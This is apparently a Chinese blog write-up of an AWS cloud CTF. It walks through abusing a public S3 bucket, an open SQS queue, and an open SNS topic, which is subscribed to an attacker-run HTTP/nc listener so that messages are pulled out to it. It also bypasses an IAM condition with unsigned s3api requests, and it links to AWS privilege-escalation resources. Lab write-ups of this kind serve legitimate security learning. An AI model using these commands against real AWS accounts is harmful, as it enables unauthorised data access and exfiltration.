aws云靶场和一些杂记

04-27 1174阅读

aws靶场

在AWS靶场中,存在三个安全问题:1) 一个S3存储桶政策配置错误,允许公共访问,通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色,允许发送和接收消息,通过aws sqs命令行工具的receive-message接口最终找到flag。3) SNS主题订阅政策过于开放,允许任意Endpoint订阅,使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription命令获取完整响应,从而得到flag。最后一个挑战涉及存储桶的IAM策略,通过aws s3api命令的list-objects接口,利用无签名请求绕过权限限制访问flag。

存储桶泄露

查看第一个policy给出了这个问题,可以允许列出桶的权限,注意看Principal 这里没有限制具体的访问角色,这里的*代表互联网所有人都可以访问的意思,公开桶。

aws云靶场和一些杂记

使用s3的命令行,其实可以获取到,可以通过其他命令复制出来,aws好像是没办法直接查看内容的

aws云靶场和一些杂记

想直接查看内容的话,可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ,见此,flag已经出来了,可以下一关

aws云靶场和一些杂记

SQS消息队列

查看第二个的policy如箭头所示,没有限制具体的角色,而且允许sqs进行发消息和接收消息

aws云靶场和一些杂记

通过阅读官方文章,sqs这块,有这么多个接口可以搞,但是注意,这块我们的权限只有send和receive

https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html

aws云靶场和一些杂记

根据文档上的构造,那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接

aws云靶场和一些杂记

aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

构造好的请求直接发包,发现抱错了

aws云靶场和一些杂记

还需要–message-body,那继续添加随便加上111,但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了

aws云靶场和一些杂记

继续查看官网文档,receive-message构造例子如下,有的参数是不必须的得在测试中得到真理

aws云靶场和一些杂记

构造后进行请求,获得的响应内容多了,有个很明显的链接,访问就是flag了。

aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

aws云靶场和一些杂记

SNS托管式消息传递服务

SNS和SQS的区别:

  • SNS: SNS 是一种发布/订阅模型,其中消息发布到一个主题(Topic),然后所有订阅了该主题的终端(如应用程序、服务、端点等)都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
  • SQS: SQS 是一种队列模型,其中消息被发送到队列,然后由队列的消费者(订阅者)按照顺序处理。每条消息只能由一个消费者接收,确保消息按照顺序处理。

    了解了sns的基本含义之后,我们来看题目给的policy

    aws云靶场和一些杂记

    • Action: 定义允许执行的操作,这里是 “SNS:Subscribe”,表示允许订阅 SNS 主题。
    • Resource: 定义操作作用的资源,这里是 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”,表示允许对指定 SNS 主题执行订阅操作。
    • Condition: 是一个可选的部分,定义允许或拒绝操作的条件。在这里,使用了 “StringLike” 条件,要求 “sns:Endpoint” 的值符合 “*@tbic.wiz.io” 这个模式。

      还是老样子,我们查看官方的文档

      aws云靶场和一些杂记

      那么其实sns里面有protocol参数,可以指定http请求

      aws云靶场和一些杂记

      那么subscribe权限下,获取http订阅消息的cli参数命令示例如下

      aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \
          --protocol http \
          --notification-endpoint http://example.com/endpoint
      

      把题目给的参数带上发送请求

      aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
          --protocol http \
          --notification-endpoint http://xxx:8089/@tbic.wiz.io
      

      aws云靶场和一些杂记

      对应自己的服务器起了http服务,但是虽然能获取到响应,但是没办法获取更多的响应信息

      aws云靶场和一些杂记

      琢磨了一段时间发现用tcp起端口,nc就可以获取所有响应信息了。但是这段信息里面,是没有flag的,

      aws云靶场和一些杂记

      但是给过来的响应,已经提示了To confirm the subscription, visit the SubscribeURL included in this message

      aws云靶场和一些杂记

      那么查阅文档后才知道确认消息的具体格式,也可以使用 aws sns confirm-subscription 命令来手动确认订阅,提供确认消息中的 Token:

      aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN
      

      aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424

      虽然爆红了,说权限不够,但是还是可以收到sns发过来订阅的消息

      aws云靶场和一些杂记

      在nc这边监听,获取到的message就是flag了

      aws云靶场和一些杂记

      存储桶错误配置

      在下面的policy可以知道,存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket,但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问

      aws云靶场和一些杂记

      这块其实想了很久,一直没有办法突破。因为没有办法绕过PrincipalArn的限制,最后是查阅官网文档:如果请求中没有上下文键或者上下文键值解析为空数据集(如空字符串),则也会返回 true

      https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html

      aws云靶场和一些杂记

      那么让上下文键值为空的话,查阅s3api的文档,可以带上–no-sign-request

      aws云靶场和一些杂记

      发送请求,我们可以获取到flag了

      aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
      fix 'files/' --no-sign-request
      

      aws云靶场和一些杂记

      关于存储桶这块,我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk,s3api用的是sts token

      记录的链接

      aws相关链接

      https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb

      https://www.hackthebox.com/blog/aws-pentesting-guide#common_aws_penetration_testing_techniques_within_an_attack_path

      https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/

      https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/

      https://github.com/BishopFox/iam-vulnerable

      https://github.com/andresriancho/enumerate-iam

      https://github.com/ine-labs/AWSGoat 靶场

      https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识

      https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问

      下载对应的cli工具

      https://aws.amazon.com/cn/cli/

      /.aws/credentials

      aws云靶场和一些杂记

      AWS漏洞利用框架Pacu

      https://www.freebuf.com/sectool/190074.html

      aws云靶场和一些杂记

      aws云靶场和一些杂记

      aws ssrf+cicd流程 rce 值得回味!

      https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce

      aws 攻击笔记大全

      https://wiki.teamssix.com/CloudService/IAM/

      aws中的iam是什么

      aws云靶场和一些杂记

      其他

VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]